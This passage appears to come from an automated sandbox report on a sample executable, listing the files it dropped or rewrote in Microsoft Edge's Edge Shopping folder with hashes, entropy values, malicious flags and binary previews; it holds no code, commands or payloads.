Malicious:	false
Preview:	(()=>....J.F{..{....uV...nT...n&..Ow.O5..;r..V.h.40..&..e.?{.....wX.x....B......[Pk.....!........cTw../9i.....+\.F...k....}...-..Y...l..S4Rs~p"Q`....'...Q...,}.f...0.HG..>.)..$.+J2.#..I...c....j.......JV..Q...u.".. .o..\|^..."V..M..kZ...fd..[..>..1...Sh.y.G.@N.....!..@..v.....0{...K..:?T.1..=JdA..=.%._g.m..u..?.A..qi.R$.i...(.S,z.y..............i.?U..v.....K...a.......p.8..?m...^.....Q......o...../V,3.Q{.3...\..B.uv..d<3.G.."...e..U...j.V/..1Ty...O....z;.Z.D.......c2&%......^.U..}.]/..:^.....7f...^'.L.Z......W.F..sS.z.p.w...L.`$.....Hy."..t..>.xw..N...c.,>Z..U..9`.3.<.}.........h...Y......l.......@..mr5...j.k......?`$........j.Y*..F....?.....\y..'D.....3......E.."..)1.T.G.....?.......=......3..."NR.1.Z...?.z........us.A....v.n$..\|;......o.e....9Niu\|..W.tI..]?.;..z(;..+jn.'...8t...+%....n.D\..hU.U).f.w.....J._]..".I...6...}.N..RFeX^.........1t.z.X.W~....J....fGwW.I..#..:.l.1..I..^...l.7.G.. U....(N].........\|e&K.u........f.......o...h9.`

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5959.0\shopping.html

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1679
Entropy (8bit):	7.87332675539242
Encrypted:	false
SSDEEP:	48:rO7xFXp1JAqQOReReyOPQG5LqPwe4/44yUMxgmD:q7xFLOEExGNqyADG+
MD5:	0D6805CE8B1CA0A900ADFB5DF8120C8D
SHA1:	E2EDE6B1ACF5B39593DA26BC0E67A4A402F35B84
SHA-256:	DDD9B08D75284CC3F59BFE6106FC80682DCB1161FE346D851C4DFF6D7B4BA2B1
SHA-512:	A06F3E87AFF6398EFA764DD1009BF1CDA9D35CFA2FF651BD946C83BF9858D40251107DFCA88B51C76FED2FD595C09A70D6E74BC8F766C63A10090C4542705664
Malicious:	false
Preview:	<html[].6}..C...)..`....;um...g...._..0w.,.....)l7..`.W..`4....)0$1........'...S........m....L.+........u......".^.....R..:f.r..8x..Q2.]V.J...}<{M.4..a.......7..U...m.0EB......vN.&..........#;....._.H....X.+.$7..C..<i...%.'..`.)l.+....D..:..... u.....+.a...~+..a.v...NKX<.o[7.d........\.S..Ne@.H.'Ss....y.$u..AR4...m.....\|..'....l...a.....Jk.....@.!...,..@..52./...O)$.D+_g.i..]...\|0....Vu=.m:.;.. .y.G...~.&...x.8.X.0.why.5"~[...J...0i...Q.i9 .....x.J...C~..j..j.]....s..fd....\.f..Q........P..3..\|.H.H.Y..3}....-...O....=..Z.NQ./..Q.'..1w.....^t......o3...I>RE......8.z...\.W.BVD-..N.7D.......(....?ps....l.M.U..$.[..Q..V..........,.A...{..hf.2"5(....d..>U.a....`........dm......wr7L...A@I">.2..E..'....Gc....K..p>."`dQ...s.-\|x._.H$.ZX.&..9>......W.o...:4..NZ.HI..{....Eu....k..byPI..~.7... .8..6.Nk.^.....OB....n./.SE......>.,....'.8.....1.....\|d...?.]..<.... .7..../.H..>I.^.k..l...a..I.H^%.z'R...7Q.-.....9..H=..]w5."......./+l%c..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5959.0\shopping.js

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	4988956
Entropy (8bit):	5.713228568691167
Encrypted:	false
SSDEEP:	49152:SgZMHiCbgr0I8ruVWgtJylhTd2fsZjVZLl7gJOoAgGJ3DA5dOrPyCuiJ4zPLHpsY:pYePa4z
MD5:	47FB1E23A96C76D6926D0BBBFE085117
SHA1:	7D1928E2FE0C4F63FFF4D4A0810B0E0434ABFD12
SHA-256:	DB2BD5F4BF6ABFD80CFCF24A3FC3EAD13B51144EEAC3396E716B91D0610B03D1
SHA-512:	1D2DF731404833D0D33E944409B245BC733720DE9788959AACA990B5D7EAD2270F5BC0FAFC97B72702955FA8BFA57AB3DA102B51E1D1EB96963D3565410A3C0E
Malicious:	false
Preview:	/! F<..6....X..\..v_y#.l...Pl.ZjA]...4...4.=.P..m..s...w..Z.p........g.c..V.0..M.9\.C...Z.sw...A@...m.-.:z..)c......)....f.m....Tk....b.......YS...c.x.H.wy:t81...=........z.....?B.h..@..9../...q.@...j....\|.h......f2.c........n.t..?..zD.D..s?..._...s.}.M......O.....I......g.......!../...H3....^....Bfs..._..{.%F..>.........l.&$V....]rk..8.."s.........e..Z4.0d..v...f.9<p.RA....o.l.......7.'.W...k..5.{.<.m+."<-.Y.jw...eu.......'...(.....RE..B...i....=z .L...T.xi5.DE. ....i...@......0..z........6.......G..f...-ss4r.\.<N..P./!....!rJAp.>d...r.....I.#.e...PR.T.{<...........1.3..g...T....7=Rk..u..2I.\|D......A.h.........j.^Zz]..".k.`..,S.nq...8.RT.\|....74..k.............>l.!8 ..E.._...,-.C.i\:qm.4.(.d@....UE..,.Hg..Kf.K..L"y...v.9..%.@.!.{.+y\......H......#..7.G..c,(......p.x.B..Vl....H.v...b.gd........r.h.............l.l....B$.k.....Ebg.._...M.zm.....pP...^.<...ga...'...Nm..q..R.{.....#F9Vf&UG.T.....*._.0X..:~..u.I..!Z....{.A...aO...

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5959.0\shopping_fre.html

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1473
Entropy (8bit):	7.8724108506689925
Encrypted:	false
SSDEEP:	24:878SDqRkrMtFhc9a2M8opYQQ/iXCpRxe3QRII5xZDA2sMho2E8TAH6OoJrdWPCX+:878SDqTqa2M8oHQ/iXCpLSQRIgDvs38Q
MD5:	38F705146EF954966EA97FFACB8B1AC9
SHA1:	889C9558260EFEF6B5130080A608FB55DB1F9D07
SHA-256:	714225D7D93361DB4368B03A9165E8625687B69712E56CF34710F59E73F98ED4
SHA-512:	F62516C73C6E10E481C0A4CB0F332598E87018F6BEE844FD4CABE8297940502512FA7E748B41E586FD725DFB7F2615BE192335E46B2D3709BA68DF55F59DF53C
Malicious:	false
Preview:	<html..Z4C....$......?.s...S.....L...y....S...uU-...Z.../G?'....T.AT.s..&..N.n.).......m../!\i..?.P.2w.~.O..HE....C.r.?7.....-1L-......~s..e.Yk...F..X.J...w..\4..~...'.g.@.,.b........=P.:.^...I....M.;.36.K...3........T"br...y...y&..........e..\|...~..E.......\.b..Y6.=.j.7....VP..%l0R..{.L.3R.....Q..h...!.KSU...K.#.s.....o.=.^.....^v..5\|...2g.U.D2...].8. ..&.0a....^.S....~.>,...(}L.Q..I..cB....7<!."..H..1......?.....lX...M_s..\|.J...3..^ln..P..Q..y5.Wo...R#..(..5.I..E..a..9.W0.._.@.OTI......\.Xj.....xm..T.w........kul.1W...A..#>..A...f..vG.=.\...G}.....4\|.o.JG..z......8(S..0.1.T....5.`....Q..:.k...f....}.1......3F.<8^r&.G..G.f....;.H.....\..[S.u....K..ro.$e..S..FQT.).L.4._.."I....9.h7e....O....h....5......>1ZV/p... ..f.......[...N....E.FO..O.<.....1}P.\UVj......aE.._.s=..h~..B..'...(..u..N..p.G..i...tsB.f.....mni)t........y..A...L...r.9..R...Qe..r.,5z3..)m...;D....p.j.+.OV}.@.%`.uU...J..o)..........l.(Xf)l.t.....].6u,k@.."*........$..$9..{.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5959.0\shopping_iframe_driver.js

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	12270
Entropy (8bit):	7.983898890493984
Encrypted:	false
SSDEEP:	192:AEHUqBmmelq+n1PfQxUSsNhDWf4wvm+1kh9p/k96z+IcszNgoJjxeXPaHRznbqtV:jHUFmCykhgBr+p/zCsz11eXPaHhbqtoe
MD5:	334D6082B585EA4373DE3E1BB4FFF1DC
SHA1:	66F0A7DB262EB2BC9E3E8DBDE66BD8CBBEE67258
SHA-256:	BD67FFDC1E252763AB47F435D05B3BE1E1A0BA14C74751493ADC701DD7AEF69F
SHA-512:	A225BE190886CD0F09DEDB530CA7B78F2C5C77C832FDD3BEF22C3346ED0D9B0895BB0C98BB56F4AA22A9FEEBAC9F5E71142F92F73886483AE2520E339F7C2A5D
Malicious:	false
Preview:	(()=>......4.(.w.Q.....Mbl[y.........xzQ....k..../.......(.J..h.5b.o......>~-. l..k.W.....4..Q3I......(..T..rk.y............*z._........G..m...n.,.x.7.$..Hz.....s...".9z0.._.Yf..R...%)....d<2..TY\...._.\.f.o+..8.E@..\"......C.Wz..O...G.g.C..M;...\..1_...h......G.......`.'f.iP.W&U..o..>.R.m_.k.-Z..L.B...M.#.3.vz_/3.....y{...?.......S8......b.#.o..{...Q....8..!\.P.....g[.C.=.#...B..=[....t....6.E.+.z..H.&.V..$is..../V..`..0....'...T......7.>e .w/./.<./?..K.uU/....'.........{..YZ.Nw.R\!....#.~ni%.....}.I....3..$\.,.4...t.8. k...~.T..?. b.~....O+......d.;\.tS...".......S..3.&...c.T.S..,.~9.....p.'M...4t.Ec......%O...-....oe:h.{.Y..(...x={7.>.....9.?.#\..`:@..]}>..]R...+.....>...].C..3...&J..X=..d..3F......t.8.>.=.....<E..z..G...[...<\|.!...\.....[....O..o....`...>....1...]V.]..s.m..?[>...........q.....;'...].'...p.G./#......(.."t8.t.........(......9G<a=?...:....Ld......1.D.w...]i..Mh.!....&..a.t.(..Y.!.W..5....n .hT...a...,.^.........a....l...g.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5959.0\shoppingfre.js

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	358109
Entropy (8bit):	7.386670813936127
Encrypted:	false
SSDEEP:	6144:lORDeuAtQHGoqnayJHvGi5ZG7TTmQgOqtFS4pc8Yv7fX7cxbAB0ut:lOsuAtC/cayJPGoG7TTmHsHIz2
MD5:	93F3B8C5D9D58CC13B12A3AD65E41226
SHA1:	B1E04B0BBD06CF994B2FF8841E2387B63DF37127
SHA-256:	5C56C6464FBE3FB8DA8F437AD44FEC5E4785D4868DA6DC5E6412FCE29FDEDE29
SHA-512:	10BC1020D80440C31A8F182EE8893E1C609010BB3AA61EF28865337E225C2E0C5E7B5310DCEEA11FDFFCF46A6867BF9D946C7F38AE1299C761FE4A01CA993270
Malicious:	false
Preview:	!func2{....a..o.2..`o.._.+.:.8.....y.J.bmya.........L+q.G;Y.N.....q..........;.....r.e[N......'..v$.8.1...](.&...6.P.Z.h...O....5=...s.g.-Y.....{..{.&6..5... [YX.C..uc(.A=..j&.GJ...K^.!...6.4. R.6..6c<..i'..3...0T...+.`...E.....h.)...F..}.....0..Yf....O[......`.!.....1$.QU../:g..W.U.@.f%....^VM.j.~g0.... N....@... .NW...G.].......,..."..E ...+[M.(T......E...vc.{.].....G&{P-$.#.....\|...Z..U..!.....X..{..$..BQ.c;_..8.a.......8x......?....."a.a....9...a.!.._g..n..\|.9\|.%.."n@\|.-.).S\|...%.9.'....F-.]V.+...1;...v.WZ.Q.....ef. .w..G.P..O.6._..A.<Ems.....r...8.9".9.a..h.....2 ...g..FD..-]....yG.z..#u..9.AC-.Wl.=...9^.h.`.v..8.H..j..E^OV.....=`...........%..2.m:XX(..G?!=.pn....ko..V...<.P=.6..px....K.[./d..Z.u..d'.{e)N..Z.....[6..#..%...(......w..=..m.$7.T..........K.Z.R...vq......q...AB.... OB..u..."..."Q..R.......T\|.y9...........A.....1.C7.....(...\y.b.*...YK.@.\5.........]:..ZNl..y.........^..@.\|.......!.pu.h.O.P.0..k...W..F.......5....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\auto_open_controller.js

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1179282
Entropy (8bit):	6.2612359963775095
Encrypted:	false
SSDEEP:	12288:OB72xxfsBK856sJmOBjn2LT8/XH6rewfkb3J0sIE:OBCxxfs3camOB6LT8/bR3esIE
MD5:	6FB15939833266AFC962264FD38AD8F3
SHA1:	E1270A14901F91F58627706F295945F70B009458
SHA-256:	600F291CA42A8637999057A1EDBFBA38484F3C3D560548B0666F74BBF3A0F914
SHA-512:	130CBB56DAB5A0ECF9EF345284D42210E41C3F264FCB574F592F2643FBBBF6AF0502ED63D088BAF371715BBD2630ED2D0AA976BCC12D17E3FA5CB839E427C49C
Malicious:	false
Preview:	/! F.z2/gm).......u.....T...R...S.w...r.c,.......hqV&..Ve...<.`.....w..y......i......G...,.(.Y....Bj..wn.^.\|+~.1[.9R.f....Y..Xc..6.....+80..Q....s..v.eZ.O..r....u.n..)...J.V:..=.[}...l..e...J....\t...0...`5...J.....ba)X.d.X~....,F...qg...\|.._..w../...... .J.M,Ia.Y"....;.QN...o.U....u.. ..$.,i...aJ..\|4.Z]..X&.W.....\q/M.p....[../..lJ?=...3e.q.C8....~wJ.._..M..m.[..z...3)=.p..4t.k.w.......Gm..0.........+4@X....P...d....w.g......o."[.7.......:....j.$.5z......N......c.:.k..N.=...9....(...e5S&..o...%_b...Y...X6......^A\|2.....N.x... w...O[..W.Lm...n..Pa..Z..a.I7{.>.bC.Co....%_q.r.....@>.V.q!...b....wE..)....u.'s.[...8)....Zh.....[. ZW\|....!p."......,..8..v-6.e..1.n.;.."..I8...1.A...xK...-.#. .,.B......D.0.%........`L..+......f.....}..zT.t.NZ....`^6.8;O..a.....c;..s..E.....n..w\..e.68;.....>..~..wk.....`@X..w.d...F....f.....=.V....s...B..yTjOqs_".4...d....P`P...e......2...ZD......<h......6N.h.._.o..!R..I2.=...x..DMm4.l.;0.;T..*H.I3...&.{..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\edge_checkout_page_validator.js

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1010732
Entropy (8bit):	6.358610954170295
Encrypted:	false
SSDEEP:	12288:y/A5fTxyrOetwEL9X2Y+zWZdnwijDWwMxdf6kf:acFyBZRmY+zWZWijDWF6E
MD5:	582480FEFEC4B545902CB9A3C81554D4
SHA1:	3AF62B85257A94ED245C0A3DF1DE428FE25FC439
SHA-256:	408D10D752220D342C1286887514F5570BDA742343FE691AF504D145590E9A0B
SHA-512:	2EDD53C045358754BB50087AC81CB58543C5391E729AEC99609ED8E16C2531CD087F7E6D5805C230F24AB2DCA3B6DB4DF44B898C85587FE82089F2FD3B772B74
Malicious:	false
Preview:	/! FVPY?\|..k......'g"D.){.n-T/.Oj.....tLs;.EJ.V.=x.]..ay_...D......5p..I.S....jT,.U.......&.#.........Q.p}v....tET{./.+..(~.:d%L......o......bc,...RP..6%.G}.z[.>..<.R2...?.X....=2p....2..M......+r6]e...n.&.7.)=.....IYM..7y...F..uf...#+._.dg.........%U...;.E..._.B.F.....t.p.\|G..t.....yvh..".'v..3+$<.n....h<.hFt8.B.<.....s..."...q.)..#E.J?...2"U....n...H.v$.<.W....a.9...y..q&x.w...^....:f...+..Vm .@.....o.B8..yd..`.%........._./[.Lq). [.\|Xf..p..\|&..S.q.?.0...g......3...J...aP..~.`S..KW.GN.)Pr..`.......^......A+o.n.m...$.2..!.em.+&...~.\|Gu.0.......C.U..?s..F......h......za..Mo.4+....jv...f../.....<...S., !.%..h.../....kOt.D.P..HV#k:.F\|....0.,..u....{.6.\|..7......~b....d.n.1.....X.}..?...9H.. {P..9;..NFb.................h....._b..s...;..S.N.i\..KhyL../....m....<.I...\|.WG.......$.......o1...A.i"Ib....<G..y*...&f...?.h=...H...=...-.`....EY~...w..U.=.K.e....!.=..W....J..D.S/f[......n..........r......X..".P......qF_..ln.8.....h.Q.-h....~[fkf.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\edge_confirmation_page_validator.js

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1042237
Entropy (8bit):	6.337752529184361
Encrypted:	false
SSDEEP:	12288:i29/AN2/hTr9QLhbGoHVMunRZm91a9I2SFn4a/:p9/AA/hGt6oH2SZm91jFJ
MD5:	6F0B1FF7B88671C2A267262B09F67276
SHA1:	C83E6B0CA4790C5D7C7D817630207871BF89EE7C
SHA-256:	BAA78862E8E0AFBE7BF8E7A7908FC51634EF3B157480962167B3A7D355B89DD2
SHA-512:	C8984974F97ADF32EA4BA8D72076199972ACB1B2E82B670ADBBAC037362997C15814AEBC819B888F2F102CDF0F975700BCB2214CDDDA0069B44232CCBE0B79FF
Malicious:	false
Preview:	/! FL.!.......>..>.f.2...3-U....G{R..m....9.....Y..5......l.#..K...F..2..H...L.%ok...\|.> .}O.W.91-+..9.M..p...6Y..O.n./jy.[....;M.9.5z...F.....b..5...Jcq....^.L..:..1.._w...K7.....KWm&.<.Y\|.....a9.6..~.....i...~._GJ.n.G.N1{g4...a....9=..."y.me..3..z...I.....v.............B.@.....t.9....vBf.t...7../...z.W..=.).0h..d.:N..^v{.....G.v^.m.K.".....E:..t9..4?dV...&.\|.3...1.q.t.ZY....B.,S<w]..9...O0.td....x ]..h._i.E...jO.Mw.EVB.5.x..(4."....O.....n..,>.....Io._.L.'D.o.Dj.B.....P]..]Q..x....y..G...G..m+..L5..:.o... .M.D$....e..B..^.F...Ur....'....[....+./.(..H........c.Dp$.\H..F..r......x..y....C........\)..YM.]3.2pe./......c..S...^....;B....u.?..M.h..Qo...]......>[...2..[..B>..^N)iq...05..ltFhS.)...h...o..!....B.w.M:E.X&C.Y...sFd^j-...}..-.:@...].......0.n..<(..I.}..$..Kp/..........DN.6.M..^..rWFP.h.O..e...Bd4qs...y...C...?.U8...-K....:.@.\..9.~.B.)BS1.........2.Mj=}5..]..d..L~..n.H..OY.......Z^U.j......K.L..Y#N.i.67.FD .=...k...;.-#

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\edge_driver.js

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1681049
Entropy (8bit):	6.110966435902814
Encrypted:	false
SSDEEP:	24576:sscBSTsZ1LYkVrB6WpJHdeL4rULhIvRbMwvoutonc:U9ZhYkVrB6WpJHdVrULhIvRbMwvour
MD5:	3AB032C8FD1EAF975613C50698F3B19C
SHA1:	BA4A53C80EDC62CC321F5EAFBE10F308C64414B5
SHA-256:	0FEAAC16FDB9E1BD2AF5CF192F7DA564D16D029F415F51CD50988D06BF96FC9F
SHA-512:	2E63C2C16A4398A7142FD3AF6CB02E8BBFB89FFD26D2D6CC6972FD8D11978232A9FBDA252EC237863F5414E36479C6C94D45D2914642BA467A1673835300B933
Malicious:	false
Preview:	/! F...n..."K.W.....)h:m..@8........=.B.Jy.k.....S..)<l...4...\|.Va.<..P..+..X....../.D.I..2..6..JL!@...A...n..m.3....._0+O.....g.+.Y..uX.'b=On/Y<.F........}x.......`A.m.%.......p...y......6..&..&....B...a...+......1.R.+..E...=...6..;...@.x..a)v..S.L.<...U./%..x..T.%.e:..m]..6.&M../....@r..x...;A....c......%...........M..........B.,y..e....r..j.F../.P.....$..m .3.......FD.vV..m.bl.l........x[..DzJ.[." .2.......z[LzOv.P....V).=....G.K....$!..lB.%.d..`....w6.o...X...k..$0....O!.g)..'...x.F...M.Z.TU.....k.N..!...V}.....z.S...2y..$..+.....5>.4.{..l.....j..Y..........l.3.....K./....}.DT.....I.......5...D,.mU.@i..3B....3..y.c.z..KS...DW.I...g..R..P..\|.0.C.....J.~.uM.....Tr..v.\.3.HME>.x..B......`mWY9k..+...0..1.N%.BH........QGkvN....h...{....\g......n.c..@.[.%.t.....P.....1..7"}q.._]Vo@...c..I..n...4....?E.[.=.\.yKhR.].B.nb4..$0m.V.7 .f.>.....\|..yg#....^.~.1. ..S.:3#.........\.3 n/1...,.......T..3.EK.1.p_8...E....d..V(..M.....>.......^.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\edge_tracking_page_validator.js

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	80121
Entropy (8bit):	7.997312949573062
Encrypted:	true
SSDEEP:	1536:12ExfLKSfOGb9PPSpLxQTBN4/Af3q/mQUtN/efU8I+VEvqDOq1hbaN8j:1Hxd9hkLxQTBND3QmQWectqDOq1x8C
MD5:	9B4B64E1A9BC13B493B1401BB0676FA8
SHA1:	FDB587EB0FC9367E20B9A7242D7479F5CC58C36F
SHA-256:	94CE9E4E3B7E944C5118FBE673C5EB8D0D2D284A5281534A358DB30206DD9457
SHA-512:	4B4B7896D02B1F432781A6625C789278B5A55184005344BFFEC2540799FBEBC3682D9D9E9AA4AF80C7992B0BDD42C72B2AFF4548145424D6EEE9874E307AE741
Malicious:	true
Preview:	/! F.a$G.;.....`.T.A.....'J...q../.I....X....6i..B....Z.%.'v.!.;k....Rs....7.....Q........DzQb..%..\6..,..x..p..Ss.U[.>b....?.E........$n.'Q.b..G.X..\|..?..b...6.......JT...._.].q i......../.).f.Y.#.?Fy<9..............q.....:.......!.{.=.=..5...R.Q[....[....OS..s.U......U.....!......GM.m..p..-.........[i......D.Vy.9.Y8...6......W...:..).......&X.0+.%X..G.....;;.+:.Fv.e.AY.>.a0WPA.!..yR..>I..4..'....Yj....o"....;U>(.=8......I....$.....6:gg.r....m.......#$..a....U`..h^....B#.....iD..@....8....o.(....%..E.."....^..S.......n{....L...O.q.....k.;........kO.......7....lJ...u"........q.%.N.o...b....V.d.n"6{..h..P,.....v.<i\|."99p.m?J.B..j/...A..B5X.xA......Pq.?3..j1!,....:...!.+....y..(../{.lV..Z...n.k$....B.I.V....7P.&.F.x.lp8..............;.s.?....:..i...V.=...(..Fn....cV4..!k..Z\K1..f_..%.?B.8x.......\|.z.N;...i/.%l.$.FN........$i=...+0..Gy...v,....Wb@.........S..}..=T.}Y.b...E`.f...N.!\.,).....-.7. .=./%..0cd...,.]..cXq9..]..Do.S..G.7..L.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\manifest.fingerprint

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	400
Entropy (8bit):	7.3796929566964735
Encrypted:	false
SSDEEP:	12:lf3ZwaA2+I3aNWl7+VagIe1FoA4kViVrPQscii9a:53+La3aYllNe1FoAFcrosbD
MD5:	7F687DB910F5BBDACC5FD5E765671919
SHA1:	4457C5B50AC241EEBDFD5FED70B02B947FE208DA
SHA-256:	B9A21F6596C6BE24EC08644AD2C98A9BBE54D97BF9EA8CD583321659F5F5398A
SHA-512:	51D73F7849898D4481BB053612EE1DDBE94A08B84867E10BE90F02FF02A3E9D29BFE9A02910CD5EA8536F4C2A4F0F4C3FEC6C7A53C3873059C411DADB4CB1686
Malicious:	false
Preview:	1.3127.(=J.!.Kv...q..y?...U..M....5I.p..6o..aH=Z...e1WL$-P.7......X)...5..........&&'....x4."...1H.N.........V7...X..t...v.lM..)......1.Ky.<,\..xT_..fH./...B..b#*gM\.?.[.(.oU..^.s9=.:..A.B....IA]....Y..`\|(esbka[..$...k...,....U3.".dv.?-.....98..-...........n\.Q......bfD./....)....F.r........8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\manifest.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	481
Entropy (8bit):	7.425314726818793
Encrypted:	false
SSDEEP:	12:MeuRmv81IXER5XnKoHGDrp3Dg9Reh5rUQscii9a:MeRvoI0RR8DrpVh5rJsbD
MD5:	3BF2CBC73AC46292A0FCC3D63751887B
SHA1:	2848FF33D999B6E501220CA37B8F2A727890474E
SHA-256:	C63CE31FDBF13202808315ADA01C31B9939996D9EB87BF3B753157630698EA0F
SHA-512:	1C9F03FFA6C8D66C819F5BA8C2DB054BDEB336E13AF3BB334DD11C99535666B6C50F64901EFBF404C89BFBFE9A26E11A357F116C5A1EF956DB2BEF354D9833A6
Malicious:	false
Preview:	.{..;o.......n.k....LAE>.>..cr..WS...Q.u.D..8}.G.4.b......Q5.O.9.!o...9......Wd.....3N..fr.w...,.3...4#H.}..\.^.r..j..b6..;.yT..Ra...?9.v..C...cb@.k...G.....4..#..<...l..h...!Fot..h...C..\|......<.b.r...G.!.....g...gl".`w8.v..I.E...............r...@.DD\|.;...uv.....B.....A......::(-tK..~..q...T.].....q.m..Wi..E3....^*9.<W....]....K.X2........i^...yye...TO.....g..^^/4D...H....g..8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\product_page.js

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	988649
Entropy (8bit):	6.389342321452818
Encrypted:	false
SSDEEP:	12288:ApZj/JeVGNVznzgY6E6GlsV7nNy9xX1cdKXxLMq:OZl6GzBllsVpy9xXmyLh
MD5:	72DBF2E2466367327D2539F57FC5CB15
SHA1:	5B38C9456560ABA7833D9C9B5CDF9668E9BF833B
SHA-256:	9E326D1B912E3FD7A0E7C68849CD1720E2DB8D5C1228A65F7E688D6E81554999
SHA-512:	796ED1274470BEC5AB2E768A7DACA12BD6D19948FA15EF01735DEC1BD56E2130A51B1EBA5980EBD0FD031EFCFD990E064C9DC86EAFE37C06C934BA970C1785C4
Malicious:	false
Preview:	/! FN.s....=2....O..\..F(E.U.....m....YO.D..\|.6...Y7K....YBT.p.P w......Y...0...\b.....=.le..2..t.../...0......\|...P.\.1.;X;.O]..W8.,6.#A......... [.`.>.....u .....sW.....j..k.l.%.#....p=.G.....z.JF.l[BS.A....Q.]1.-.2.......=8.X.u;..3..(Y...t......x...D....\a...E.B..k..N.!'....Y.._A".z@%.+..D.V.....~MW.....1.fL..i..l.IS......$=.C(n.8..m.,.S.k.Vj`.z%2l?^..MX.[.Tf]?R..O~R......6.i..H...NL....-"..P._..'..c................^.G..:>."a.Xh(...E...@.P..l.0........,.........R.AO.h.un...w....b...b1d.u..~...>.:...S.l..M...k.D...C..:.t.D......D.Ga../...P:le}.I./...ZD.....?.....<&.D+.q .n..i.Om=.^/.i................;...1.:..ie.. {.r.......h<.n....."....).Fm.M!9]..@..R.G..@.....Hq.\.......I......7.k...b..R.........{:.[`.H.q.EiK8.6..8...Y.X^.lm..\z......n...6.m.Y..B!...1..`....(.....]..\......"0*.]..m..i..).\|....Z4.;....R.X+NG.$6..A..NI.......{.........6....S...^7T!.......'.G.....j....}..A2....@B..K.Bi...<~...........t.VWPA....X...m.1...Q.gl.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\shopping.html

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1679
Entropy (8bit):	7.85806837215444
Encrypted:	false
SSDEEP:	48:2VW3wG6Ma+Pv7e/a3J4UX4WBoNpZhK0L3uArMmD:2V7LMQy33IGoFJ+6M+
MD5:	13866F4013C7BDF9ED5A8984DC06F16E
SHA1:	A0710354FF5156C8E8C8AE0E92AD5BD80E5254B1
SHA-256:	46DDD5C1189B92812C4F98B4A2EE825A45A2F7B1E04F6579CB571702BAAF1987
SHA-512:	B1A57423713E2EE82C81A5D7B61024810817D3B455E1E1B5B0FCBCB9F53A0AA178E14587AD660E74B2675615AD617314A323C316E1EE9EB4A78AFF7F95755F35
Malicious:	false
Preview:	<htmlu\..V$I..x.\|._....._r......f..d...i .....4....;.8.m....KF0....w...".nD..r._......l...@sS..IW.9..................6..ff.=.+..=....j.j9.:._...Z.o......x...{.6.........,....k..j....L........R.....1..2..1y...y..a..x.t,...k.......uhX...qm#...ys..a..vS..O..B.Y.....3..}..Y,_.#...!..]h4Ut......_.[..i..:ss...1,..........p..t.....(>..i<.8J.Q..:k...V...gfT.....}=}.Xve.P.[.....;\m'...}a.^...7..&)C.l.f.j.".i=.Rj5....A.2..M.p.=..Q..'...r.q..L.............3o.....&...j.tU.....wQ.30.f..].%....N....u...[N.8.:.7...?.q....f......=...H>..f$...@L-..dVY......V.nI.0.4.V...C.vT....h.v.B...Mi...=...N#..k?.......4..k&..:.T..q...rQm......c\|..K?...k....?..C.e...,.z.u]...5....O.z..-...........'+..CD..;....L.r............./wy....n~...S...l..... ......D...".c.(...@..?.h..;......Y.1L./...,..Bt..^.X...y.4..............:.X..k....A.....N.._(..H$..p.&,+....g..Y.5..h...H.....f....U... 3=......0.7.Le....We:.....sm&.1AtH.l.y.Tz....Q<.R..41..c.....4.N.~...._w@..c.B

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\shopping.js

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	5653603
Entropy (8bit):	5.667544822919813
Encrypted:	false
SSDEEP:	49152:SRxEMp4xtbEaX37/ORDsYon+shfiAm+1GbMnkI/Lp1m5aUIzyI3rm6pIepx4srkl:0OPpGbMnkJ5XmIqsTvh
